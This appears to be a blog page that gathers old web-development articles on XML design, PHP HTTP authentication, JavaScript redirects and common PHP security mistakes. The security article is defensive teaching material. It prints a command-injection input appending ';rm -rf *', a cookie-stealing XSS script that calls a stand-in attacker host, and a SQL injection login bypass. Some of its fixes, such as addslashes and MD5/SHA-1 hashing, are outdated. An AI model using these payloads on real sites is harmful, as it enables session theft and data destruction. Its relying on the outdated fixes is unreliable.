XML suffers from an all-too-common problem with new technologies: It cant be called "buzzworditis." Like the C++ language and client-server architecture before that, XML has visibility at the executive level -- the nontechnical executive level. Which leads to corporate memos insisting that "entire systems" need to be somehow "converted" to XML for the good of the company. However, like C++ and client-server architecture, XML isn't an answer in and of itself; it's simply a tool you can use to help build your technical solution. By understanding the strengths and weaknesses of XML compared to other possible architectural choices, you can minimize or prevent major headaches later in the development (or maintenance) cycle. This column recommends following four general design guidelines for the judicious use of XML in the data architecture of your systems.

Tip 1: If you don't need it, throw it away

One thing that many architects don't initially get about XML is that it's just a way to represent information. There's nothing magical about an XML document: It just shows how various pieces of information relate to one another. When you receive a document from an external source that has information you know you'll never use (such as internal reference numbers from that source that have no bearing on your system), toss them! Use an XSLT style sheet or some other mechanism to filter out the information you want to keep and drop the information you don't want. Remember, it's always going to be more efficient to filter the data once (as it comes into your system) than every time you need to access it. Similarly, if you receive information about seven million customers in one monster document, but the information would be more useful to you in separate documents, break it into one document per customer. After all, if you received a fixed-width file from a mainframe system, you almost certainly wouldn't keep it around in that form because it wouldn't be particularly useful. Don't be afraid to dissect, reorganize, or otherwise modify XML documents to suit your needs.
....................................................................................
Tip 2: Don't use XML for searching

XML documents (by themselves) are not well suited to being searched. Because they're just flat text, any of XML's native searching mechanisms (such as XPath) must parse the entire document (or documents) to locate the piece (or pieces) you're interested in. If you're trying to work with that single document with information about seven million customers, searching would be extremely inefficient. If you break the document up into smaller documents -- say, one per customer -- the problem still occurs: To find the particular customer you're looking for, you need to parse each document until you find the appropriate one. The only good solution for searching XML documents is to introduce some sort of indexing mechanism -- either a relational database index or some sort of native XML indexing tool -- that significantly reduces the amount of information that has to be processed to locate the document (or document fragment) you're interested in. When you have data-oriented information (as opposed to text-oriented information such as a book manuscript), a relational database is well suited for this task, and it provides other benefits, as you'll see in the next tip.
....................................................................................

Tip 3: Don't use XML for summarization

Summarizing information stored in XML documents is also very inefficient. The native language provided by XPath contains only the bare minimum of aggregation functionality, and even this is not easily usable if the information you want to summarize is found in more than one document. Also, summarization presents the same problem as searching: Each document must be parsed to discover and extract the information being summarized. Again, I recommend indexing the information, thus reducing the amount of information to sift to discover the pieces that are being operated on. Alternatively, you could generate an additional document that contains summary information as detail XML documents are introduced into the system. However, that would not allow you to do ad hoc summarization, and it can be a bit of a management chore. For the best flexibility for summarization tasks, a relational database is really the only good choice; most off-the-shelf XML indexers do not expose the indexes themselves for direct programmatic manipulation.
....................................................................................

Tip 4: Use XML to drive rendering

One real power of XML lies in its ability (via XSLT) to render its contents to various other forms. This is especially crucial if your system needs to support various means of data consumption -- through an HTML interface such as a desktop Web browser, through a portable device using WML, or to a data-transfer standard agreed upon by your industry. Relational data can drive rendering, too, but it's not as good at the job. Each possible rendering requires significant coding time. Also, if a request is received to render a piece of information that you have stored as an atomic XML document (such as a single customer), you can do so without touching the indexing system, which frees up cycles on that system to support the searching and summarization of the data as necessary.
....................................................................................

Conclusion

This column looked at some of the ways XML fits into an overall system architecture and where it does (and doesn't) make sense. You've seen that some sort of indexing mechanism -- ideally a relational database -- should be part of your overall architecture in most cases. In short, use XML to perform the tasks it excels at, such as driving a rendering system.

As you're architecting (or rearchitecting) your systems, remember that XML is just another tool in your development toolbox. You wouldn't use a screwdriver to hammer in a nail. Don't try to make XML do things it isn't designed to do well.

Read More......

Highly secure Apache HTTP Authentication method with PHP

At one time or another, we’ve all had to log into a password-protected Web site. When building a site, you may decide to require this of your visitors for several reasons. The first, and most obvious, is to protect secure information so that it can only be viewed by a select few. But you may also choose to assign usernames and passwords to casual visitors. This may be done in order to keep track of who is viewing your site, or to provide personalized options and services to your visitors.

The easiest way to password-protect a site is to use HTTP Authentication, where if a browser’s request for a protected page is not accompanied by the correct username and password,
At one time or another, we’ve all had to log into a password-protected Web site. When building a site, you may decide to require this of your visitors for several reasons. The first, and most obvious, is to protect secure information so that it can only be viewed by a select few. But you may also choose to assign usernames and passwords to casual visitors. This may be done in order to keep track of who is viewing your site, or to provide personalized options and services to your visitors.

The easiest way to password-protect a site is to use HTTP Authentication, where if a browser’s request for a protected page is not accompanied by the correct username and password, the Web server replies with an HTTP 401 error – which means “Unauthorized Access” – and an invitation for the browser to re-submit the request with a proper username and password. From the user’s point of view, most of this dialogue is hidden. Following that first failed request, the browser prompts the user (in a dialog box) for a username and password, and then re-submits the request, this time with the authentication information attached. Assuming the username/password combo is on the list of allowed users, the Web server then sends the page requested. The Web browser will likewise continue to send that username/password with all subsequent requests.

The most common way to set up an HTTP Authentication scheme is using an Apache “htaccess” file (see http://hoohoo.ncsa.uiuc.edu/docs/tutorials/user.html), but this method has disadvantages. Making the list of authorized users dynamic (so that users could register themselves and gain immediate access to your site, for example) can involve some pretty twisty server-side scripts that would have to manipulate the htaccess file(s) to add and remove users as appropriate. And keeping any kind of record as to who is accessing what using which username/password combinations is next to impossible using the basic support for HTTP Authentication in most Web servers.

Enter PHP, a free, open-source, cross-platform, server-side scripting language. When installed as an Apache module (this will not work with the CGI and ISAPI versions), PHP lets you handle HTTP Authentication by yourself, using any means you like to determine whether to accept or deny access to a Web site.
From here on I’ll assume that you are familiar with the basics of PHP. If this language is new to you, or if you need a refresher, Part 3 of my Building a Database-Driven Web Site series should bring you up to speed.

When installed as an Apache module, PHP provides two special global variables: $PHP_AUTH_USER and $PHP_AUTH_PW. These contain the username and password that accompanied the current HTTP request, respectively. Using PHP’s header() function, you can then respond with an HTTP 401 error when the username, password, or both are incorrect.

Let’s look at some sample code for a page that may only be viewed if the user enters username “myuser” and password “mypass”:

<?php
if ($PHP_AUTH_USER != “mysuser”
or $PHP_AUTH_PW != “mypass”):
// Bad or no username/password.
// Send HTTP 401 error to make the
// browser prompt the user.
header("WWW-Authenticate: " .
"Basic realm=\”Protected Page: " .
"Enter your username and password " .
"for access.\””);
header(“HTTP/1.0 401 Unauthorized”);
// Display message if user cancels dialog
?>
<HTML>
<HEAD><TITLE>Authorization Failed</TITLE></HEAD>
<BODY>
<H1>Authorization Failed</H1>
<P>Without a valid username and password,
access to this page cannot be granted.
Please click ‘reload’ and enter a
username and password when prompted.
</P>
</BODY>
</HTML>
<?php else: ?>
...page contents here...
<?php endif; ?>

As you can see, checking the username and password entered is as simple as checking the variables $PHP_AUTH_USER and $PHP_AUTH_PW. When an incorrect user/pass combination is detected, you respond with two HTTP headers (using the PHP header function):

WWW-Authenticate: Basic realm=”Prompt the user here.”
HTTP/1.0 401 Unauthorized

The first line informs the Web browser that Basic authentication is to be used. This just means that authentication is to be done with a username and password. The realm option lets the browser know when a particular username/password should be used when navigating throughout a group of Web pages. All pages that should use the same username/password (thus saving the user from having to re-enter them for every page) should have the same realm specified. Since this string is displayed in the dialog prompting the user, it’s an ideal place to put a message (for example: “If you’re a new user, enter ‘guest’ for your username and leave the password blank.”). Note that the double quotes in this line must be escaped with backslashes to prevent them from interfering with the double quotes surrounding the string in your PHP code.

The second line is a standard HTTP response code that lets the browser know that the username/password entered (if any) was incorrect, and that the user should be prompted to (re)enter them.

To protect an entire site, you would typically use PHP’s include function to use the code that performs the username/password check in every file on your site that you want protected without having to retype said code on every page.

I recently used this technique on a site that I set up for a small group of people working on a project together. I issued a single username/password combination that gave them access to the registration page, where each of them would create a personal username/password combination. The registration page would store those combinations in a MySQL database (for more information on this, see my Building a Database-Driven Web Site article series). All the other pages on the site would then access that database to determine if a given username/password combination was allowed to access the site or not.

This and other creative possibilities for making your password protection system more flexible make HTTP Authentication using PHP an extremely handy tool to have in your arsenal.

Read More......

Redirecting your visitors to the preferred form of your URL using JavaScript

Do you have multiple entrances to your site and looking for a client-side solution that can redirect your visitors to the preferred entrance?

For example, you may have multiple domain names pointing to the same site -- domain_a.com, domain_b.com and domain_c.com.

Do you have multiple entrances to your site and looking for a client-side solution that can redirect your visitors to the preferred entrance?

For example, you may have multiple domain names pointing to the same site -- domain_a.com, domain_b.com and domain_c.com. Although you want to keep all of your domains either because you want to reserve those names, because your marketing department convinced you that having multiple names pointing to the same site will attract more visitors or some other reason, you may prefer that the visitors end up at the same domain. You may want to redirect visitors from domain_b.com and domain_c.com to domain_a.com for example.

Following is a client-side solution to redirecting visitors to your preferred domain. Simply copy and paste it on to your home page just below the tag.

<script type="text/javascript" language="JavaScript">
<!--
if( -1 == location.href.
toLowerCase().
indexOf('domain_a.com') )
{
location.href = 'http://domain_a.com';
}
// -->
</script>

bove code will check if domain_a.com is a part of the current URL. If not, it will automatically redirect the visitor to http://domain_a.com. One of the advantages is that this code will work even if you have a single version of your home page that has multiple domain names pointing to it.

Of course you can modify the same code to redirect to a specific page URL as well.

NOTE : Be sure to use only the required portion of your URL and to enter it in lowercase inside the function "indexOf()". If your complete URL is http://www.mycompany.com/mypage.html, but you can get to the same page using just mycompany.com/mypage.html, use the latter version of the URL. On the other hand, use the full URL for location.href.

The following code will redirect visitors to http://www.mycompany.com/mypage.html only if mycompany.com/mypage.html is not a part of the URL they typed:

<script type="text/javascript" language="JavaScript">
<!--
if( -1 == location.href.
toLowerCase().
indexOf('mycompany.com/mypage.html') )
{
location.href =
'http://www.mycompany.com/mypage.html';
}
// -->
</script>

If you run your own web server, have unique IP addresses for your multiple domains or your web space provider is able to redirect visitors otherwise, you maybe able to implement a server-side solution to redirect visitors instead.

Read More......

How can browser specific content be delivered using JavaScript?

If you have a need to deliver browser specific web pages and if you don't have a server-side script to do this with, take a look at the following HTML/JavaScript code:

<SCRIPT LANGUAGE="JavaScript" TYPE="text/javascript">
<!--
if( -1 != navigator.userAgent.
indexOf ("AOL") )
{
// load America Online version
location.href="aol.htm";
}
else
if( -1 != navigator.userAgent.
indexOf ("MSIE") )
{
// load Microsoft Internet
// Explorer version
location.href="msie.htm";
}
else
if( -1 != navigator.userAgent.
indexOf ("Mozilla") )
{
// load Netscape version
location.href="netscape.htm";
}
else
{
// load other version
location.href="other.htm";
}
-->
</SCRIPT>


You can simply plug in above tags after replacing "netscape.htm" with the URL to your Netscape specific page, "other.htm" with your generic page's URL, "MSIE.htm" with the Microsoft Internet Explorer version of the page, etc.

Read More......

How to hide JavaScript code from non-JavaScript enabled browsers

Its easy to hi Javascript from Non-javascript based browsers..just use the script like done below :

<SCRIPT LANGUAGE="JavaScript" TYPE="text/javascript">

<!--

... your JavaScript code goes here ...
... this code will be hidden from ...
... non-JavaScript enabled browsers ...

//-->

</SCRIPT>

Read More......

Top 7 PHP Security Blunders

PHP is a terrific language for the rapid development of dynamic Websites. It also has many features that are friendly to beginning programmers, such as the fact that it doesn't require variable declarations. However, many of these features can lead a programmer inadvertently to allow security holes to creep into a Web application. The popular security mailing lists teem with notes of flaws identified in PHP applications, but PHP can be as secure as any other language once you understand the basic types of flaws PHP applications tend to exhibit.

In this article, I'll detail many of the common PHP programming mistakes that can result in security holes. By showing you what not to do, and how each particular flaw can be exploited, I hope that you'll understand not just how to avoid these particular mistakes, but also why they result in security vulnerabilities. Understanding each possible flaw will help you avoid making the same mistakes in your PHP applications.

PHP is a terrific language for the rapid development of dynamic Websites. It also has many features that are friendly to beginning programmers, such as the fact that it doesn't require variable declarations. However, many of these features can lead a programmer inadvertently to allow security holes to creep into a Web application. The popular security mailing lists teem with notes of flaws identified in PHP applications, but PHP can be as secure as any other language once you understand the basic types of flaws PHP applications tend to exhibit.

In this article, I'll detail many of the common PHP programming mistakes that can result in security holes. By showing you what not to do, and how each particular flaw can be exploited, I hope that you'll understand not just how to avoid these particular mistakes, but also why they result in security vulnerabilities. Understanding each possible flaw will help you avoid making the same mistakes in your PHP applications.

Security is a process, not a product, and adopting a sound approach to security during the process of application development will allow you to produce tighter, more robust code.
Unvalidated Input Errors

One of -- if not the -- most common PHP security flaws is the unvalidated input error. User-provided data simply cannot be trusted. You should assume every one of your Web application users is malicious, since it's certain that some of them will be. Unvalidated or improperly validated input is the root cause of many of the exploits we'll discuss later in this article.

As an example, you might write the following code to allow a user to view a calendar that displays a specified month by calling the UNIX cal command.

$month = $_GET['month'];
$year = $_GET['year'];

exec("cal $month $year", $result);
print "<PRE>";
foreach ($result as $r) { print "$r
"; }
print "</PRE>";


This code has a gaping security hole, since the $_GET[month] and $_GET[year] variables are not validated in any way. The application works perfectly, as long as the specified month is a number between 1 and 12, and the year is provided as a proper four-digit year. However, a malicious user might append ";ls -la" to the year value and thereby see a listing of your Website's html directory. An extremely malicious user could append ";rm -rf *" to the year value and delete your entire Website!

The proper way to correct this is to ensure that the input you receive from the user is what you expect it to be. Do not use JavaScript validation for this; such validation methods are easily worked around by an exploiter who creates their own form or disables javascript. You need to add PHP code to ensure that the month and year inputs are digits and only digits, as shown below.

$month = $_GET['month'];
$year = $_GET['year'];

if (!preg_match("/^[0-9]{1,2}$/", $month)) die("Bad month, please re-enter.");
if (!preg_match("/^[0-9]{4}$/", $year)) die("Bad year, please re-enter.");

exec("cal $month $year", $result);
print "<PRE>";
foreach ($result as $r) { print "$r
"; }
print "</PRE>";


This code can safely be used without concern that a user could provide input that would compromise your application, or the server running it. Regular expressions are a great tool for input validation. They can be difficult to grasp, but are extremely useful in this type of situation.

You should always validate your user-provided data by rejecting anything other than the expected data. Never use the approach that you'll accept anything except data you know to be harmful -- this is a common source of security flaws. Sometimes, malicious users can get around this methodology, for example, by including bad input but obscuring it with null characters. Such input would pass your checks, but could still have a harmful effect.

You should be as restrictive as possible when you validate any input. If some characters don't need to be included, you should probably either strip them out, or reject the input completely.
Access Control Flaws

Another type of flaw that's not necessarily restricted to PHP applications, but is important nonetheless, is the access control type of vulnerability. This flaw rears its head when you have certain sections of your application that must be restricted to certain users, such as an administration page that allows configuration settings to be changed, or displays sensitive information.

You should check the user's access privileges upon every load of a restricted page of your PHP application. If you check the user's credentials on the index page only, a malicious user could directly enter a URL to a "deeper" page, which would bypass this credential checking process.

It's also advisable to layer your security, for example, by restricting user access on the basis of the user's IP address as well as their user name, if you have the luxury of writing an application for users that will have predictable or fixed IPs. Placing your restricted pages in a separate directory that's protected by an apache .htaccess file is also good practice.

Place configuration files outside your Web-accessible directory. A configuration file can contain database passwords and other information that could be used by malicious users to penetrate or deface your site; never allow these files to be accessed by remote users. Use the PHP include function to include these files from a directory that's not Web-accessible, possibly including an .htaccess file containing "deny from all" just in case the directory is ever made Web-accessible by adiminstrator error. Though this is redundant, layering security is a positive thing.

For my PHP applications, I prefer a directory structure based on the sample below. All function libraries, classes and configuration files are stored in the includes directory. Always name these include files with a .php extension, so that even if all your protection is bypassed, the Web server will parse the PHP code, and will not display it to the user. The www and admin directories are the only directories whose files can be accessed directly by a URL; the admin directory is protected by an .htaccess file that allows users entry only if they know a user name and password that's stored in the .htpasswd file in the root directory of the site.

/home
/httpd
/www.example.com
.htpasswd
/includes
cart.class.php
config.php
/logs
access_log
error_log
/www
index.php
/admin
.htaccess
index.php


You should set your Apache directory indexes to 'index.php', and keep an index.php file in every directory. Set it to redirect to your main page if the directory should not be browsable, such as an images directory or similar.

Never, ever, make a backup of a php file in your Web-exposed directory by adding .bak or another extension to the filename. Depending on the Web server you use (Apache thankfully appears to have safeguards for this), the PHP code in the file will not be parsed by the Web server, and may be output as source to a user who stumbles upon a URL to the backup file. If that file contained passwords or other sensitive information, that information would be readable -- it could even end up being indexed by Google if the spider stumbled upon it! Renaming files to have a .bak.php extension is safer than tacking a .bak onto the .php extension, but the best solution is to use a source code version control system like CVS. CVS can be complicated to learn, but the time you spend will pay off in many ways. The system saves every version of each file in your project, which can be invaluable when changes are made that cause problems later.
Session ID Protection

Session ID hijacking can be a problem with PHP Websites. The PHP session tracking component uses a unique ID for each user's session, but if this ID is known to another user, that person can hijack the user's session and see information that should be confidential. Session ID hijacking cannot completely be prevented; you should know the risks so you can mitigate them.

For instance, even after a user has been validated and assigned a session ID, you should revalidate that user when he or she performs any highly sensitive actions, such as resetting passwords. Never allow a session-validated user to enter a new password without also entering their old password, for example. You should also avoid displaying truly sensitive data, such as credit card numbers, to a user who has only been validated by session ID.

A user who creates a new session by logging in should be assigned a fresh session ID using the session_regenerate_id function. A hijacking user will try to set his session ID prior to login; this can be prevented if you regenerate the ID at login.

If your site is handling critical information such as credit card numbers, always use an SSL secured connection. This will help reduce session hijacking vulnerabilities since the session ID cannot be sniffed and easily hijacked.

If your site is run on a shared Web server, be aware that any session variables can easily be viewed by any other users on the same server. Mitigate this vulnerability by storing all sensitive data in a database record that's keyed to the session ID rather than as a session variable. If you must store a password in a session variable (and I stress again that it's best just to avoid this), do not store the password in clear text; use the sha1() (PHP 4.3+) or md5() function to store the hash of the password instead.

if ($_SESSION['password'] == $userpass) {
// do sensitive things here
}


The above code is not secure, since the password is stored in plain text in a session variable. Instead, use code more like this:

if ($_SESSION['sha1password'] == sha1($userpass)) {
// do sensitive things here
}

The SHA-1 algorithm is not without its flaws, and further advances in computing power are making it possible to generate what are known as collisions (different strings with the same SHA-1 sum). Yet the above technique is still vastly superior to storing passwords in clear text. Use MD5 if you must -- since it's superior to a clear text-saved password -- but keep in mind that recent developments have made it possible to generate MD5 collisions in less than an hour on standard PC hardware. Ideally, one should use a function that implements SHA-256; such a function does not currently ship with PHP and must be found separately.

For further reading on hash collisions, among other security related topics, Bruce Schneier's Website is a great resource.
Cross Site Scripting (XSS) Flaws

Cross site scripting, or XSS, flaws are a subset of user validation where a malicious user embeds scripting commands -- usually JavaScript -- in data that is displayed and therefore executed by another user.

For example, if your application included a forum in which people could post messages to be read by other users, a malicious user could embed a <script> tag, shown below, which would reload the page to a site controlled by them, pass your cookie and session information as GET variables to their page, then reload your page as though nothing had happened. The malicious user could thereby collect other users' cookie and session information, and use this data in a session hijacking or other attack on your site.

<script>
document.location =
'http://www.badguys.com/cgi-bin/cookie.php?' +
document.cookie;
</script>


To prevent this type of attack, you need to be careful about displaying user-submitted content verbatim on a Web page. The easiest way to protect against this is simply to escape the characters that make up HTML syntax (in particular, < and >) to HTML character entities (< and >), so that the submitted data is treated as plain text for display purposes. Just pass the data through PHP's htmlspecialchars function as you are producing the output.

If your application requires that your users be able to submit HTML content and have it treated as such, you will instead need to filter out potentially harmful tags like <script>. This is best done when the content is first submitted, and will require a bit of regular expressions know-how.

The Cross Site Scripting FAQ at cgisecurity.com provides much more information and background on this type of flaw, and explains it well. I highly recommend reading and understanding it. XSS flaws can be difficult to spot and are one of the easier mistakes to make when programming a PHP application, as illustrated by the high number of XSS advisories issued on the popular security mailing lists.

SQL Injection Vulnerabilities

SQL injection vulnerabilities are yet another class of input validation flaws. Specifically, they allow for the exploitation of a database query. For example, in your PHP script, you might ask the user for a user ID and password, then check for the user by passing the database a query and checking the result.

SELECT * FROM users WHERE name='$username' AND pass='$password';

However, if the user who's logging in is devious, he may enter the following as his password:

' OR '1'='1

This results in the query being sent to the database as:

SELECT * FROM users WHERE name='known_user' AND pass='' OR '1'='1';

This will return the username without validating the password -- the malicious user has gained entry to your application as a user of his choice. To alleviate this problem, you need to escape dangerous characters from the user-submitted values, most particularly the single quotes ('). The simplest way to do this is to use PHP's addslashes() function.

$username = addslashes($_POST["username"]);
$password = addslashes($_POST["password"]);


But depending on your PHP configuration, this may not be necessary! PHP's much-reviled magic quotes feature is enabled by default in current versions of PHP. This feature, which can be disabled by setting the magic_quotes_gpc php.ini variable to Off, will automatically apply addslashes to all values submitted via GET, POST or cookies. This feature safeguards against inexperienced developers who might otherwise leave security holes like the one described above, but it has an unfortunate impact on performance when input values do not need to be escaped for use in database queries. Thus, most experienced developers elect to switch this feature off.

If you're developing software that may be installed on shared servers where you might not be able to change the php.ini file, use code to check that status of magic_quotes_gpc and, if it is turned on, pass all input values through PHP's stripslashes() function. You can then apply addslashes() to any values destined for use in database queries as you would normally.

if (get_magic_quotes_gpc()){
$_GET = array_map('stripslashes', $_GET);
$_POST = array_map('stripslashes', $_POST);
$_COOKIE = array_map('stripslashes', $_COOKIE);
}

SQL injection flaws do not always lead to privilege escalation. For instance, they can allow a malicious user to output selected database records if the result of the query is printed to your HTML output.

You should always check user-provided data that will be used in a query for the characters '",;() and, possibly, for the keywords "FROM", "LIKE", and "WHERE" in a case-insensitive fashion. These are the characters and keywords that are useful in a SQL insertion attack, so if you strip them from user inputs in which they're unnecessary, you'll have much less to worry about from this type of flaw.
Error Reporting

You should ensure that your display_errors php.ini value is set to "0". Otherwise, any errors that are encountered in your code, such as database connection errors, will be output to the end user's browser. A malicious user could leverage this flaw to gain information about the internal workings of your application, simply by providing bad input and reading the error messages that result.

The display_errors value can be set at runtime using the ini_set function, but this is not as desirable as setting it in the ini file, since a fatal compilation error of your script will still be displayed: if the script has a fatal error and cannot run, the ini_set function is not run.

Instead of displaying errors, set the error_log ini variable to "1" and check your PHP error log frequently for caught errors. Alternatively, you can develop your own error handling functions that are automatically invoked when PHP encounters an error, and can email you or execute other PHP code of your choice. This is a wise precaution to take, as you will be notified of an error and have it fixed possibly before malicious users even know the problem exists. Read the PHP manual pages on error handling and learn about the set_error_handler() function.
Data Handling Errors

Data handling errors aren't specific to PHP per se, but PHP application developers still need to be aware of them. This class of error arises when data is handled in an insecure manner, which makes it available to possible interception or modification by malicious parties.

The most common type of data handling error is in the unencrypted HTTP transmission of sensitive data that should be transmitted via HTTPS. Credit card numbers and customer information are the most common types of secured data, but if you transmit usernames and passwords over a regular HTTP connection, and those usernames and passwords allow access to sensitive material, you might as well transmit the sensitive material itself over an unencrypted connection. Use SSL security whenever you transmit sensitive data from your application to a user's browser. Otherwise, a malicious eavesdropper on any router between your server and the end user can very easily sniff the sensitive information out of the network packets.

The same type of risk can occur when applications are updated using FTP, which is an insecure protocol. Transferring a PHP file that contains database passwords to your remote Webserver over an insecure protocol like FTP can allow an eavesdropper to sniff the packets and reveal your password. Always use a secure protocol like SFTP or SCP to transmit sensitive files. Never allow sensitive information to be sent by your application via email, either. An email message is readable by anyone who's capable of reading the network traffic. A good rule of thumb is that if you wouldn't write the information on the back of a postcard and put it through the mail, you shouldn't send it via email, either. The chance anyone will actually intercept the message may be low, but why risk it?

It's important to minimize your exposure to data handling flaws. For example, if your application is an online store, is it necessary to save the credit card numbers attached to orders that are more than six months old? Archive the data and store it offline, limiting the amount of data that can be compromised if your Webserver is breached. It's basic security practice not only to attempt to prevent an intrusion or compromise, but also to mitigate the negative effects of a successful compromise. No security system is ever perfect, so don't assume that yours is. Take steps to minimize the fallout if you do suffer a penetration.
Configuring PHP For Security

Generally, most new PHP installations that use recent PHP releases are configured with much stronger security defaults than was standard in past PHP releases. However, your application may be installed on a legacy server that has had its version of PHP upgraded, but not the php.ini file. In this case, the default settings may not be as secure as the default settings on a fresh install.

You should create a page that calls the phpinfo() function to list your php.ini variables and scan them for insecure settings. Keep this page in a restricted place and do not allow public access to it. The output of phpinfo() contains information that a potential hacker might find extremely useful.

Some settings to consider when configuring PHP for security include:

1. register_globals: The boogeyman of PHP security is register_globals, which used to default to "on" in older releases of PHP but has since been changed to default to "off". It exports all user input as global variables. Check this setting and disable it -- no buts, no exceptions. Just do it! This setting is possibly responsible for more PHP security flaws than any other single cause. If you're on a shared host, and they won't let you disable register_globals, get a new host!

2. safe_mode: The safe mode setting can be very useful to prevent unauthorized access to local system files. It works by only allowing the reading of files that are owned by the user account that owns the executing PHP script. If your application opens local files often, consider enabling this setting.

3. disable_functions: This setting can only be set in your php.ini file, not at runtime. It can be set to a list of functions that you would like disabled in your PHP installation. It can help prevent the possible execution of harmful PHP code. Some functions that are useful to disable if you do not use them are system and exec, which allow the execution of external programs.


Read More......
Your Ad Here
Reader's kind attention....The articles contained in this blog can be taken from other web sites, as the main intention of this blog is to let people get all sides of the web technologies under the single roof..so if any one finds duplication or copy of your articles in this blog and if you want that to be removed from this ..kindly inform me and i will remove it...alternatively if you want me to link back to your site with the article...that can also be done...

Thanks,
Webnology Blog Administrator
 

blogger templates